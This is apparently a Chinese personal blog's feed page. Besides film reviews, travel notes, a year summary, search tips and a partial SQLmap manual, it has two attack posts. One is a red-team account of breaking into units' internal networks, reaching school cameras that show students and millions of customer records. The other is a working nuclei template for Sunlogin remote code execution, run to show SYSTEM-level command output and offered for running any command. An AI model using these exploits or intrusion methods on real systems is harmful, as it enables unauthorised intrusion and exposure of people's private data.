阅读视图

发现新文章,点击刷新页面。
☑️ ☆

不甜,不蜜

前天晚上看了张曼玉出演的《甜蜜蜜》,这应该是我看的第七部有张曼玉出演的电影了,在开始看之前,我就有一种感觉这部电影是和邓丽君有着千丝万缕的联系,一方面是片名取自邓丽君的经典歌曲,另一方面这部电影也将邓丽君的好几首歌贯穿始终,即成为角色情感的寄托,也见证了在时代滚滚洪流中个体人物的无奈与抗争。

对我来说,邓丽君的歌不仅是电影中不可或缺的“主题曲”,也算是贯穿了我的个人记忆。初中军训我和对床的同学半夜偷偷戴着耳机用他的手机听《月亮代表我的心》,军训了一天以后,我们累的躺在板床上,听着悠远的音乐中很快入睡。上大学后冯小刚导演的《芳华》电影中女兵们一起偷偷地听邓丽君的歌瞬间让我想起了我的军训生活,当时让我笑出了声。现在不论谁谈起邓丽君和她的歌,都有一种邓丽君的歌成为了大陆改革开放中标志性事件的感觉。

电影中黎小军和李翘来到香港,两个人在不断的融入香港,他两学粤语、学英语,学着像香港人一样的生活,努力地想要删除自己大陆人的身份,寻找身份认同。越想融入,似乎越意识到自己和香港有着不可磨灭的差异,难以全然抹去。
不知道多少人和我一样,在看到豹哥死去身上的米老鼠纹身以后,会像张曼玉一样笑出来,然后在张曼玉突然转哭后湿了眼眶,这可能是我这两年看过所有的电影中最具感染力的一幕,不论是不是笑场,但是这种欢乐瞬间转悲伤带来的情感喷涌而出,谁看了都不会不赞叹这充满感情的演技。明明是生死离别的剧情,却突兀地呈现出“可爱”与“尴尬”,仿佛有人一把扯开了情感的闸门,所有的酸楚、无奈与爱恨都顷刻决堤。

怨憎会、爱别离、求不得几乎是所有同类型电影的主题,陈可辛在电影后竟然会安排Happy End实属令我意外,要我说悲剧才能升华这部电影,《甜蜜蜜》这个名字配上一个悲剧结局感觉更能表达“甜蜜蜜”背后的苦涩与讽刺。但是这个Happy End或许是在一个混杂漂泊、彷徨和遗憾的时代里,给观众一丝温暖和希望。

☑️ ☆

《第二十条》影评

p2904151034.webp
我关注了不少法律博主,过年期间他们都不约而同地推荐这部《第二十条》,说是讲正当防卫的,这些年大陆拍了很多这类型的题材,《我不是药神》《不止不休》等等,但是给我的感觉好像套路化很严重,前期创造冲突,中期幡然醒悟,后期情绪输出,以后也别说大陆没有工业化剧本编写流程了,我看工业化还是挺高的嘛。

题材是非常好的题材,可是在这接近两个半小时的塞入了好几条剧情线,而且花了大量的笔墨刻画了一个中年男人和他媳妇的家庭沟通,虽然提供了大量的笑点,也为后续在听证会上的情绪输出提供了情感支持,但是未免有点过于偏离主题了。每一段严肃剧情后总是会接一段含有吵架或者拌嘴的喜剧元素,沉浸感严重不足,我突然想起来高中的时候,我的语文老师给我们看了一篇有关08年地震的文章,其中出现了一张废墟中诺基亚手机的图片,当时我们班因为诺基亚的耐摔笑出了声,语文老师特别生气的骂了我们一顿,说我们毫无人性,没有一点同情心,然后摔门而出,时至今日我对这件事还是感到异常的羞愧,那在这个电影中一会严肃一会欢乐到底是要有同情心还是笑出声呢?

电影最后的听证会环节让我想到了《闻香识女人》这部电影最后的听证会,但是我始终感觉这两个场景放在一起对比是非常违和的,《第二十条》中的听证会似乎更加简易,主角的情感转变即使在三条故事线的衬托下仍然略显生硬,不知道你们怎么想?
这部电影还有一个问题就是电影感不足,就像一个路人拿手机随手记录的一样,几乎没有能打动我的镜头,张艺谋果然老了,我仍然记得我第一次看《红高粱》《大红灯笼高高挂》这类张艺谋早期作品时的震撼,那时候张艺谋拍的电影我是非常喜欢,几乎每个镜头都充满了美感,我去年把《大红灯笼高高挂》这部电影反反复复地看了好几遍,电影中地颜色大胆前卫,有极强地视觉冲击力,反观《第二十条》就没有一点点出彩的地方,完全不像张艺谋导演的作品,当然我们不能苛求在一部现实主义题材的电影中充斥着荒诞的色彩,但是纵观近些年来,张艺谋的导演能力确实是在退步的。

从现实意义来讲,这也算是近些年来第一部讨论“正当防卫”的现实题材电影了,我觉得能拍已经很好了,电影在最后的听证会阶段还讲到了最朴素的公平正义,也是很进步了,也算是为这些年有关“正当防卫”争论画上了一个句号。期待“彭宇案”上大荧幕的那天。

虽然缺点众多,但是这部电影还是非常值得看的!

☑️ ☆

某市一些单位从互联网到内网

某市一些单位从互联网到内网

赶在2023年的尾巴,我参加某市的一次HW。首先必须强调下面所有的行为都是经过授权的。因为这次内网没怎么打,好像没什么收获,那就把打到内网的所有目标大概写一下,不会非常详细。

某卫星中心

  1. 通过资产收集发现该单位某服务平台,该服务平台的同IP下的某IP存在Springboot,存在CVE-2022-22947,通过工具写内存马直接Shell。
    1_shell.png
    1_springboot.png
    1_webshell.png
  2. 因为是Linux服务器,没啥上线的必要,反弹个shell直接进内网开扫
  3. 扫完发现内网其实没什么东西,先用默认密码登录了4个Nacos,里面没有配置文件,然后有一个Nacos密码改了,用Nacos未授权漏洞看了一下,发现里面有一个去年HW留下来的账号,但是不知道密码,于是我也用未授权添加了一个账号
    1_nacos.png
    1_nacos_1.png
  4. 还扫出来了很多SSH弱口令,但是登录发现全是网络设备,不太会利用
    1_ssh.png
  5. 然后还有非常非常多的postgresql数据库的弱口令,这也是该单位的重大战果,在数据库中发现敏感地理数据超过500W条(无图)
    1_sql.png
  6. 还有一些其他的Web弱口令啊、Redis未授权啊、MySQL弱口令、etcd未授权,虽然在里面都发现了一些可以进一步扩大攻击面的东西,但是我始终没有将内网的一些数据和系统对应上,再加上打内网时间非常短,也没仔细打。

某交通支付公司

该漏洞是同事打的,我大概看了一下原理
  1. 通过资产收集发现该公司互联网存在一台Vcenter存在任意文件读取,下载data.mdb文件,通过读取该文件伪造了一个登录Cookie,然后进入到了Vcenter后台,获取了10台服务器权限,本来打算把快照下载下来然后重置密码试试进到虚拟机内,但是因为网速问题放弃了。
    2_vcenter.png

某大型游乐园

  1. 历史shell直通内网
    3_shell.png

某小学

  1. 刚爆出来没几天的Nday,没想到直接就用上了,直接一个上传WebShell,然后上线,发现是Windows2008,抓密码、建隧道、进入远程桌面
    4_webshell.png
    4_rdp.png
  2. 翻了一下浏览器的记录,发现两个存在弱口令的网站,运维也没有在上面存其他密码
    4_web.png
  3. 直接开扫,但是发现内网并不大,除了这台服务器,剩下的全是海康威视的摄像头,可以未授权获查看镜头截图以及获取登录密码,我大概瞅了几个,能看到很多学生。
    4_hik.png

某生物科技公司

  1. 通过资产收集发现该公司的金蝶云可以RCE,打入内存马并上线,因为是network权限,用土豆系列提权
    5_jindie.png
    5_msf.png
  2. 发现是双网卡机器,直接开扫。
  3. 在金蝶服务器桌面发现一TXT文档记录了该服务器的RDP登录密码、数据库密码、两个子公司的金蝶云平台登录密码,那就RDP进去看看呗
    5_txt.png
    5_rdp.png
  4. 这个内网东西也不是很多,扫到了很多Shiro,但是找不到默认Key,还发现内网有一个非常旧的ASP站,我估计大概率有SQL注入,就挂着代理用Yakit扫了一下,果真找到一个UA注入点,好像能执行命令,但是没回显,盲打了几个payload,也没见成果就放弃了。
    5_old.png
    5_old_sql.png
  5. 有几个MS17-010,打成功了一个,直接进到RDP,这个机器上还有向日葵,也一块收集了,这个人机器上还有传奇这类游戏,挺有意思的
    5_ms17010.png
  6. 内网还有一个不出网的cve-2019-7238,能执行命令,但是实在是想不到该怎么转发出来了,现在写这个想起了可以新建用户登录啊,还是脑子不够聪明。
    5_cve.png
  7. 两个Redis,在里面发现存了登录数据,但是找不到对应的应用,而且未授权反弹shell也没成功,很可惜
    5_redis.png
  8. 接着就是重大成果,通过弱口令登录了几个MySQL数据库,在里面发现了4k条财务数据,该公司在各个平台(旺店、天猫、抖音、有赞、快手、拼多多等)百万量级的订单数据(包含姓名、地址、手机号等)
    5_ding.png
    5_addr.png
  9. 然后就是一些打印机啊、FTP、SMB之类的弱口令了,没什么意思,就不展示了。
☑️ ☆

How to use nuclei to rce with any command

How to use nuclei to rce with any command

A few weeks ago, I realized that we can use nuclei to rce with any command. You know, nuclei is a fast and customisable vulnerability scanner based on simple YAML based DSL. We can find a lot of vuls through nuclei.

There are some flags to achieve specific function in nuclei, Such as: -dresp, -V.

some Flags

-dresp flag can show all received responses for all templates.

-V flag can customize vars in key=value format.

nuclei template

there is a flag(variables) which can be used to customize vars in nuclei template. For example:

id: sunlogin_rce

info:
  name: 向日葵RCE
  author: Xc1Ym
  severity: critical
  description: 通过该链接可以执行命令
  metadata:
    max-request: 2
    verified: true
    fofa-query1: body="Verification failure"
    fofa-query2: app="向日葵-远程控制"
  tags: rce
variables:
  cmd: "ipconfig"
http:
    - raw:
      - |
        GET /cgi-bin/rpc?action=verify-haras HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+{{cmd}} HTTP/1.1
        Host: {{Hostname}}
        Cookie: CID={{cid}}
      extractors:
        - type: json
          part: body
          internal: true
          name: cid
          json:
          - '.verify_string'
      matchers:
        - type: dsl
          dsl:
            - "status_code_1==200"
            - "contains(body_1, 'verify_string')"
            - "status_code_2==200"
            - "contains(body_2, 'Windows IP')"
          condition: and
# digest: 490a0046304402200b08d3b3306a25fe78dc7485bc5f3f766a1189738e6d89ae775afa9ed4d3f1d1022002274e233fe7383a0c9e87f6c09ddbdad543c653e6d0592d813e76c7235eae57:ac885261be3fdd93c33050b022a2b6f1

We have set the default value for cmd parameter to ipconfig. If we wish to change it to whoami, we can use -V flag. And we can also use -dresp flag to show all received responses for all templates, if we know that the IP are vulnerable.

PS C:\Users\qaxnb> nuclei -t D:\note\private-nuclei-template\rce\sunlogin_rce.yaml -u http://xxx

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.0.4

                projectdiscovery.io

[WRN] Found 12 template[s] loaded with deprecated paths, update before v3 for continued support.
[INF] Current nuclei version: v3.0.4 (outdated)
[INF] Current nuclei-templates version: v9.6.9 (latest)
[INF] New templates added in latest release: 73
[INF] Templates loaded for current scan: 1
[WRN] Executing 1 unsigned templates. Use with caution.
[INF] Targets loaded for current scan: 1
[sunlogin_rce] [http] [critical] http://xxx/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+ipconfig

Use dresp to show the received responses.

PS C:\Users\qaxnb> nuclei -t D:\note\private-nuclei-template\rce\sunlogin_rce.yaml -u http://xxx -dresp

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.0.4

                projectdiscovery.io

[WRN] Found 12 template[s] loaded with deprecated paths, update before v3 for continued support.
[INF] Current nuclei version: v3.0.4 (outdated)
[INF] Current nuclei-templates version: v9.6.9 (latest)
[INF] New templates added in latest release: 73
[INF] Templates loaded for current scan: 1
[WRN] Executing 1 unsigned templates. Use with caution.
[INF] Targets loaded for current scan: 1
[DBG] [sunlogin_rce] Dumped HTTP response http://xxx/cgi-bin/rpc?action=verify-haras

HTTP/1.1 200 OK
Content-Length: 87
Cache-Control: no-cache
Content-Type: text/html

{"__code":0,"enabled":"1","verify_string":"xxx","code":0}
[DBG] [sunlogin_rce] Dumped HTTP response http://xxx/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+ipconfig

HTTP/1.1 200 OK
Content-Length: 750
Cache-Control: no-cache
Content-Type: text/json


Windows IP ����


��̫�������� ��̫��:

   �����ض��� DNS ��׺ . . . . . . . :
   �������� IPv6 ��ַ. . . . . . . . : xxx
   IPv4 ��ַ . . . . . . . . . . . . : xxx
   ��������  . . . . . . . . . . . . : xxx
   Ĭ������. . . . . . . . . . . . . : xxx

���������� isatap.{xxx}:

   ý��״̬  . . . . . . . . . . . . : ý���ѶϿ�����
   �����ض��� DNS ��׺ . . . . . . . :

���������� Teredo Tunneling Pseudo-Interface:

   �����ض��� DNS ��׺ . . . . . . . :
   IPv6 ��ַ . . . . . . . . . . . . : xxx
   �������� IPv6 ��ַ. . . . . . . . : xxx
   Ĭ������. . . . . . . . . . . . . : ::
[sunlogin_rce:dsl-1] [http] [critical] http://xxx/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+ipconfig

Use -V to customize vars. We can watch the nuclei executed whoami and show the result.

PS C:\Users\qaxnb> nuclei -t D:\note\private-nuclei-template\rce\sunlogin_rce.yaml -u http://xxx -dresp -V cmd=whoami

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.0.4

                projectdiscovery.io

[WRN] Found 12 template[s] loaded with deprecated paths, update before v3 for continued support.
[INF] Current nuclei version: v3.0.4 (outdated)
[INF] Current nuclei-templates version: v9.6.9 (latest)
[INF] New templates added in latest release: 73
[INF] Templates loaded for current scan: 1
[WRN] Executing 1 unsigned templates. Use with caution.
[INF] Targets loaded for current scan: 1
[DBG] [sunlogin_rce] Dumped HTTP response http://xxx/cgi-bin/rpc?action=verify-haras

HTTP/1.1 200 OK
Content-Length: 87
Cache-Control: no-cache
Content-Type: text/html

{"__code":0,"enabled":"1","verify_string":"xxx","code":0}
[DBG] [sunlogin_rce] Dumped HTTP response http://xxx/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+whoami

HTTP/1.1 200 OK
Content-Length: 21
Cache-Control: no-cache
Content-Type: text/json

nt authority\system

In the end

If you want to rce witch any command, you can use variables in your template.

And you can also use nuclei to upload webshell and execute commands by webshell.

☑️ ☆

榆林随记

榆林随记

最近两周在榆林郊外的矿区出差,记录一下最近的见闻。

一周前按照公司安排,我和同事们乘坐高铁前往榆林的一座矿区出差,因为之前经常去榆林出差,我对这座城市相对来说还是比较喜欢的,气候适宜、美食丰富,还有着淳朴的榆林人,让我对这次去矿区出差充满了期待。

下午2点左右我和同事从高铁站出来打车前往距离市区40公里外的矿区,我望向车窗外逐渐荒凉的景色逐渐变得落寞,路两旁的泥土地也逐渐变成了沙地,刚开始沙地上点缀着一些叫不上名字的灌木,随着距离市区越来越远,沙地上的灌木也逐渐密集了起来,变成了用于防沙固沙的“草方格”,在这些草方格中有着零星的被风沙吹成土色的绵阳,它们在牧羊人的吆喝中寻找着食物。我向来是喜欢各种大型的建筑的,比如中世纪的哥特风建筑,比如车窗外的风力发电机,车窗外的风力发电机有的近有的远,甚至还有近在咫尺的,透过车窗看到那巨大的风页,让我瞬间感到渺小,我上大学的时候坐高铁会穿过秦岭,一路上会看到大大小小的风力发电机,可是我从来没有见过距离我如此之近的风力发电机,巧夺天工也不过如此。

第二天工作结束,我和同事们在矿区里吃完饭,受到矿区工作人员的邀请去他们的活动室打台球和乒乓球,玩了一会后我们下楼准备回酒店住宿,走在回去的路上,看着夕阳西下,我的脑海中想起来了王维的名句“大漠孤烟直,长河落日圆”,远处落日渐渐被近处塔吊的钩子放入了荒漠。

工作了没几天,寒潮来袭,傍晚天空飘起了雪花,落下了薄薄的一层,路灯的光打上去,晶莹剔透。第二天一早醒来拉开窗帘,外面已经银装素裹,去厂区的路上一脚踩在下了一夜的雪地上,我的鞋陷了进去,我有多长时间都没有见过这么大的雪了,在我的印象中只有小时候了,那会每年冬天下大雪的时候,父母都会在院子里扫雪,鼻子冻得通红的我在院子里疯来疯去,和小伙伴们堆着雪人、打着雪仗,我清晰的记着我在院子里的花坛旁拍过一张照片,花坛里是枯萎的月季。正如小时候一样,矿区里的人也在扫雪,他们借助着现代化的机械,轻轻松松地打扫出一条条可以走的路,我摸着堆在草坪上厚厚的雪堆,手掌传来寒意,想起了幼年的美好回忆。

☑️ ⭐

2022年总结

2022年总结

去年的今天下午差不多的时间点,我写下了《2021年总结》,那会西安因为疫情封城,我被封在家中,没想到今年我还是在家中,只不过现在我是因为得了新冠,整整一周都“阳”在家中,今天测抗原发现终于转阴了,可喜可贺。

2022年相比较2021年虽然发布的博文减少了,但是还是保证平均下来每个月至少2篇。我自己统计了一下,2022年除去把之前发到其他地方的文章转发到博客以外,总共发布了29篇文章,其中生活类文章5篇,技术类文章24篇,技术类的文章还是占据了我博客的大部分内容,明年感觉可以适当增加多一些的生活类文章。2022年其实写文章的时间不是很固定,基本上集中在了年初和年末,年中的时间实在是太忙,能抽出时间写文章都是万幸了。

2022年正值“二十大”召开,我几乎参与了省内所有HW行动的红队,虽然说大部分都没有什么好名次,但是玩的确实开心,我和团队的伙伴攻入了部分地市的政府网站、国企内网以及看到了一些医疗机构的敏感信息。这些攻防经历让我成长很快,对大范围无差别的攻击行动有了更深入的理解,为我的攻防理念提供了实践数据支撑。目前有一些攻击理念的想法一直未能付诸行动,希望在2023年能完成这一梦想。今年也没搞SRC,如果2023年能实现我的攻击理念,我觉得还可以试试,要不然就算了,过于浪费时间,还什么都拿不到。

今年我继续翻译了Nuclei的README,还向开源的信息收集工具提交了一部分我收集的WEB指纹,虽然没什么含金量,但我仍然坚持为开源软件提供我的一份力量。今年我为同学编写了几个爬虫工具,借助这些工具,我们获得了十万级以上的公开科研数据。

2022年我经历了年初的西安封城后,又经历了两次不大的封控,终于在完全放开后的年末感染了新冠,疫情封控虽然对我没有很大的影响,但我仍然是坚定的放开派,毕竟人类的确无法战胜大自然。正是因为今年近乎疯狂的封控,导致我几乎没有什么出行计划,希望明年能好好放松一下。

2022年年底我终于将我的博客迁移到了香港,取消了ICP备案,在未来的四五年内我应该是不会再做这种大规模的迁移活动了。今年是加入十年之约的第二年,我努力使我的博客可以活过这剩下的未知8年。

虽然剩不到30小时就到2023年了,但是我还是没有什么清晰的2023规划,先走一步看一步吧,总体来说还是希望提升自己的攻防水平,努力实现我的攻击理念。

☑️ ☆

How to use Web Search Engine

How to use Web Search Engine

This is my first time to write in English. If there are any mistakes, please tell me.

I write this article after I read How-To-Ask-Questions-The-Smart-Way, maybe it can help you to impove your efficiency when you use web search engine.

Web Search Engine?

The web search engine I usually use are Google, Baidu, Bing.

They are called Full Text Search Engine. They get keywords of information from web site. If you search for a question, web search engine will extract the keywords in your question, and search keywords in database of web search engine. So using keywords to search for answers is faster and more accurate.

Use of effectively

First, use keywords to search you question, not interrogative sentence. There are many unnecessary prepositions and adjectives in the question. Usually, I will search for nouns in the question, there's a space between nouns. These nouns I called keywords. Although we can get answers through interrogative sentence, but it get more accurate answers using keywords. Such as keyword keyword keyword.

There are many duplicate answers in the content farm of web search engine. A lot of junk information is produced by Content farm, the web search engine can't handle this junk because there are many keywords in content farm. In china, CSDN is a content farm, I use keywords -csdn to search computer knowledge, use -csdn to exclude all answers about csdn, also you can use keywords -baidu to exclude baidu's answers. Using it skillfully can also improve the probability of finding the answer.

"" is easy to be ignored. Although we use keywords to search, but the keywords can't understood by web search engine, so using "keyword" keyword can help search engines determine the keywords we need. Keyword in the middle of "" will be matched exactly

If you want to search keywords in title, body or website, you can use intitle:keyword, intext:keyword, insite:keyword.

Of course, these skills can be combined. If you want to search an important keyword in the website, you can use "keyword" insite:website

☑️ ☆

SQLmap命令手册

SQLmap命令手册


注意,该手册适用于1.41版本以下的SQLmap
本文所有内容均从SQLmap官方wiki翻译完成,并对各个参数进行了测试,保证可以正确使用


What is SQLmap?

What can do?

  1. 判断可注入的参数
  2. 判断使用哪种技术注入
  3. 识别数据库
  4. 根据选择读取数据库中的数据

    5种注入模式

  5. 基于bool的盲注
  6. 基于时间的盲注
  7. 基于报错的注入
  8. 联合查询注入
  9. 堆叠查询注入

    支持的数据库

  10. MySQL
  11. Oracle
  12. PostgreSQL
  13. MSSQL
  14. MS Access
  15. IBM DB2
  16. SQLlite
  17. Firebird
  18. Sybase
  19. SAP MaxDB
  20. HSQLDB
  21. Informix

    基础命令

  22. python sqlmap.py -参数1 目标 -参数2

    帮助参数

    1. -h--help

  23. 显示基本帮助信息并推出
  24. 用法:python sqlmap.py -h

    2. -hh

  25. 显示高级帮助信息并退出
  26. 用法:python sqlmap.py -hh

    3. --version

  27. 显示程序版本信息并退出
  28. python sqlmap.py --version

    4. -v

  29. 观察SQLmap如何进行注入以及读取数据的
  30. 用法:python sqlmap.py -v 等级(默认为1)
  31. 等级(共7级)

    • 0只显示python错误以及严重的信息
    • 1同时显示基本信息和警告信息
    • 2同时显示debug信息
    • 3同时显示注入的payload
    • 4同时显示HTTP请求
    • 5同时显示HTTP响应头
    • 6同时显示HTTP相应页面

    必须参数

    至少存在一个必须参数

    -u--url

  32. 指定URL
  33. 用法:python sqlmap.py -u http://127.0.0.1/?id=1

    -d

  34. 直接连接数据库
  35. 用法:python sqlmap.py -d "mysql://user:password@ip:port/数据库名称"

    -l

  36. 从Burp或者WebScarab代理日志文件中来解析目标
  37. 用法:python sqlmap.py -l 日志文件

    -m

  38. 从文件中批量加载URL,一行一个URL
  39. 用法:python sqlmap.py -m 文件

    -r

  40. 从文本文件中获取HTTP请求,常用于POST提交,以及设置UA、Cookie等
  41. 用法:python sqlmap.py -r 文件
  42. 文本文件例子:

    POST /abc
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0)
    
    id=1

    -g

  43. 测试注入Google搜索结果中的GET参数(前100个结果)
  44. 用法:python sqlmap.py -g "inurl:\".php?id=1\""

    -c

  45. 从配置ini文件中加载选项
  46. 用法:python sqlmap.py -c ini配置文件
  47. 具体配置可以参照SQLmap文件夹中的SQLmap.conf

    请求参数

    这些选项可用于指定如何连接到目标URL

    -A或者--user-agent

  48. 指定URL的UA
  49. -level设置为3或者更高时,SQLmap会检测UA是否存在注入
  50. 用法:python sqlmap.py 必须参数 -A UA

    -H或者--headers

  51. 指定额外的HTTP头
  52. 用法:python sqlmap.py 必须参数 -H HEADER

    --method

  53. 强制使用给定的HTTP方法
  54. 用法:python sqlmap.py 必须参数 --method=方法
  55. 一般HTTP方法有:

    • GET 请求指定的页面信息,并返回实体主体
    • HEAD 类似于GET请求,只不过返回的相应中没有具体的内容,用于获取报头
    • POST 向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST请求可能会导致新的资源的建立和/或已有资源的修改。
    • PUT 从客户端向服务器传送的数据取代指定的文档的内容
    • DELETE 请求服务器删除指定的页面
    • CONNECT HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。
    • OPTIONS 允许客户端查看服务器的性能
    • TRACE 回显服务器收到的请求,主要用于测试或者诊断
    • PATCH 是对PUT方法的补充,用来对已知资源进行局部更细。

    --data

  56. 通过POST发送数据参数
  57. 用法:python sqlmap.py 必须参数 --data=数据参数

    --param-del

  58. 指定发送数据中拆分参数值的字符
  59. 用法:python sqlmap.py 必须参数 --param-del=字符
  60. 例:python sqlmap.py -u "http://192.168.56.102:8080/user.php" --data="id=0;name=werner" --param-del=";"

    --cookie

  61. 指定cookie
  62. -level设置为2或者更高时,SQLmap会检测cookie是否存在注入
  63. 用法:python sqlmap.py 必须参数 --cookie="dasfc23cdf4ffdsda1"

    --cookie-del

  64. 指定cookie中拆分参数值的字符(与--param-del类似)
  65. 用法:python sqlmap.py 必须参数 --cookie-del="&"

    --load-cookies

  66. 从文件中载入Netscape或wget格式的cookie
  67. 用法:python sqlmap.py 必须参数 --load-cookies=文件

    --drop-set-cookie

  68. 忽略响应头中设置的cookie
  69. 用法:python sqlmap.py 必须参数 --drop-set-cookie

    --random-agent

  70. 使用随机的UA
  71. 用法:python sqlmap.py 必须参数 --random-agent

    --host

  72. 指定HTTP头中的Host值
  73. -level设置为5或者更高时,SQLmap会检测Host是否存在注入
  74. 用法:python sqlmap.py 必须参数 --host="HOST指定值"

    --referer

  75. 指定HTTP请求头中的referer,SQLmap发送的HTTP请求默认无referer
  76. -level设置为3或者更高时,SQLmap会检测referer是否存在注入
  77. 用法:python sqlmap.py 必须参数 --referer REFERER

    --auth-type

  78. 指定认证方式
  79. 支持以下身份认证方式

    • Basic
    • Digest
    • NTLM
    • PKI
  80. 用法:python sqlmap.py 必须参数 --auth-type Basic 其他auth认证参数

    --auth-cred

  81. 指定认证的用户名密码
  82. 用法:python sqlmap.py 必须参数 --auth-type Basic --auth-cred "用户名:密码"

    --auth-file

  83. 指定HTTP身份认证的PEM证书、私钥文件
  84. 用法:python sqlmap.py 必须参数 --auth-file="文件或链接"

    --ignore-code

  85. 忽略HTTP错误代码
  86. 用法:python sqlmap.py 必须参数 --ignore-错误代码

    --ignore-proxy

  87. 忽略系统默认的代理
  88. 用法:python sqlmap.py 必须参数 --ignore-proxy

    --ignore-redirects

  89. 忽略重定向
  90. 用法:python sqlmap.py 必须参数 --ignore-redirects

    --ignore-timeouts

  91. 忽略超时
  92. 用法:python sqlmap.py 必须参数 --ignore-timeouts

    --proxy

  93. 设置一个HTTP代理连接目标URL
  94. 用法:python sqlmap.py 必须参数 --proxy="http\https\socks4\socks5://address:port"

    --proxy-cred

  95. 为代理设置认证信息
  96. 用法:python sqlmap.py 必须参数 --proxy="http\https\socks4\sockes5://address:port" --proxy-cred=用户名:密码

    --proxy-file

  97. 从文件加载代理
  98. 用法:python sqlmap.py 必须参数 --proxy-file=文件

    --tor

  99. 使用tor网络
  100. 用法:python sqlmap.py 必须参数 --tor 其他tor参数

    --tor-port

  101. 指定tor的端口
  102. 用法:python sqlmap.py 必须参数 --tor --tor-port 端口

    --tor-type

  103. 设置tor的类型

    • HTTP
    • SOCKS4
    • SOCKS5(默认)
  104. 用法:python sqlmap.py 必须参数 --tor --tor-type=SOCKS5

    --check-tor

  105. 检查是否使用了tor
  106. 用法:python sqlmap.py 必须参数 --tor 其他tor参数 --check-tor
  107. 此参数会保证所有流量走tor,若tor代理失效,SQLmap会发出警告并退出

    --delay

  108. 为HTTP请求之间设置延迟,以秒为单位,默认无延迟
  109. 用法:python sqlmap.py 必须参数 --delay=1

    --timeout

  110. 设置超时等待时间,以秒为单位,默认30秒超时
  111. 用法:python sqlmap.py 必须参数 --timeout 20

    --retries

  112. 超时重试次数,默认为3次
  113. 用法:python sqlmap.py 必须参数 --retries 4

    --randomize

  114. 随机生成HTTP请求中参数的值,值的类型和长度依照于原始值
  115. 用法:python sqlmap.py 必须参数 --randomize="HTTP参数"

    --safe-url

  116. 每隔一段时间访问一个安全\不错误的连接
  117. 用法:python sqlmap.py 必须参数 --safe-url="安全\不错误的URL" 其他safe参数

    --safe-post

  118. 访问安全\不错误连接时使用指定POST数据
  119. 用法:python sqlmap.py 必须参数 --safe-post POST数据

    --safe-req

  120. 从文件加载安全\不错误的HTTP请求
  121. 用法:python sqlmap.py 必须参数 --safe-req 文件

    --safe-freq

  122. 每隔几次测试请求之后都会访问安全URL
  123. 用法:python sqlmap.py 必须参数 --safe-url="安全\不错误的URL" --safe-freq=3
  124. 使用safe-url必须使用safe-freq

    --skip-urlencode

  125. 对payload跳过URL编码
  126. 用法:python sqlmap.py 必须参数 --skip-urlencode
  127. 因为有些网站不遵守RFC标准编码,所以需要跳过URL编码

    --csrf-token

  128. 指定csrf-token的值
  129. 用法:python sqlmap.py 必须参数 --csrf-token=token参数

    --csrf-url

  130. 指定csrf-token的url值
  131. 用法:python sqlmap.py 必须参数 --csrf-url=URL参数

    --force-ssl

  132. 强制使用SSL\HTTPS
  133. 用法:python sqlmap.py 必须参数 --force-ssl

    --hpp

  134. 使用HTTP参数污染
  135. 用法:python sqlmap.py 必须参数 --hpp
  136. HTTP参数污染是绕过WAF/IPS/IDS的一种技术,针对ASP/ISS/(ASP.NET/ISS)平台尤其有效

    --eval

  137. 在每次请求前执行指定python代码
  138. 用法:python sqlmap.py 必须参数 --eval="python代码"
  139. 某些时候,需要根据某个参数的变化来修改另一个参数才能形成正常请求,所以需要用python代码根据该参数来计算出另一个参数的值

    优化参数

    这些选项可以用来优化SQLmap的性能

    -o

  140. 打开所有的优化开关(即--predict-output--keep-alive--null-connection)
  141. 用法:python sqlmap.py 必须参数 -o

    --predict-output

  142. 预测常见的查询输出
  143. 用法:python sqlmap.py 必须参数 --predict-output
  144. 预设一个表,然后提交给服务器,根据返回值判断,类似暴力破解,但是每次破解都会缩小范围。

    --keep-alive

  145. 保持HTTP(S)长连接
  146. 用法:python sqlmap.py 必须参数 --kepp-alive
  147. 性能好,避免重复建立链接,占用服务器资源。
  148. --proxy不兼容

    --null-connection

  149. 只检索HTTP相应页大的长度,不检索实际内容(常用于盲注)
  150. python sqlmap.py 必须参数 --null-connection

    --threads

  151. 多线程,默认为1,最大为10
  152. **与--predict-output不兼容
  153. 用法:python sqlmap.py 必须参数 --threads=3

    注入参数

    这些可选参数用于指定要测试的参数,提供定制的注入payload和可选的篡改脚本

    -p

  154. 给出需要测试的参数
  155. 用法:python sqlmap.py 必须参数 -p "user-agent"

    --skip

  156. 排除指定参数
  157. 用法:python sqlmap.py 必须参数 --skip="user-agent"

    --skip-static

  158. 跳过非动态参数进行测试,即不检测固定参数
  159. 用法:python sqlmap.py 必须参数 --skip-static

    --param-exclude

  160. 使用正则表达式排除某些参数
  161. 用法:python sqlmap.py 必须参数 --param-exclude=正则

    --dbms

  162. 指定目标数据库类型、版本
  163. 用法:python sqlmap.py 必须参数 --dbms="mysql<版本>"

    --dbms-cred

  164. 指定数据库的用户名密码
  165. 用法:python sqlmap.py 必须参数 --dbms-cred="用户名:密码"

    --os

  166. 指定目标数据库的操作系统
